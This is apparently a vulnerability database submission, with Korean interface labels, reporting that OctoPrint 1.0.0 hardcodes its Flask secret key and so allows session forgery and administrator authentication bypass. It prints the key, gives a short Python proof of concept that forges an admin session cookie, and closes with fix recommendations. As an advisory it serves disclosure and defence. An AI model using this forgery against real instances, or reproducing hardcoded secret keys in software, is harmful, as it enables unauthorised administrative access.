| 제목 | OctoPrint 1.0.0 Hardcoded Flask Secret Key leading to Session Forgery & Authenti |
|---|
| 설명 | Vulnerability Description
OctoPrint 1.0.0 uses a static, hardcoded Flask secret key for signing client-side session cookies. Due to the publicly known fixed key, attackers can forge valid signed session cookies with arbitrary user identity data, achieving full authentication bypass and obtaining administrator privileges on all affected instances.
Technical Details
Flask web framework stores session data on the client side and verifies integrity via HMAC signature using the server secret key. OctoPrint 1.0.0 hardcodes the secret key in the source code. All deployed instances share exactly the same secret key. Attackers can craft arbitrary authenticated session data, sign it with the public key, and bypass the entire login mechanism to become a valid administrator user.
Affected Version
OctoPrint 1.0.0
Problematic Code
app.secret_key = "k3PuVYgtxNm8DXKKTw2nWmFQQun9qceV"
Trigger Conditions
1. OctoPrint 1.0.0 service is running. 2. Network accessible. 3. No user interaction required.
Proof of Concept
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
SECRET_KEY = "k3PuVYgtxNm8DXKKTw2nWmFQQun9qceV"
session_data = {
"_user_id": "1",
"identity.id": "octoprint",
"identity.auth_type": "session"
}
serializer = URLSafeTimedSerializer(SECRET_KEY, salt="session")
forged_session = serializer.dumps(session_data)
print(forged_session)
Using the forged session cookie can access all administrator-only interfaces.
Fix Recommendation
Remove hardcoded secret key. Generate a unique random secret key during first installation and store it in local secure configuration file with strict file permission. Rotate keys periodically and use server-side session storage. |
|---|
| 원천 | ⚠️ https://github.com/OctoPrint/OctoPrint |
|---|
| 사용자 | Anonymous User |
|---|
| 제출 | 2026. 09. 22. PM 07:01 (1 월 ago) |
|---|
| 모더레이션 | 2026. 10. 24. PM 04:32 (1 month later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 426129 [OctoPrint 1.0.0/1.1.0 Flask Secret Key 약한 암호화] |
|---|
| 포인트들 | 20 |
|---|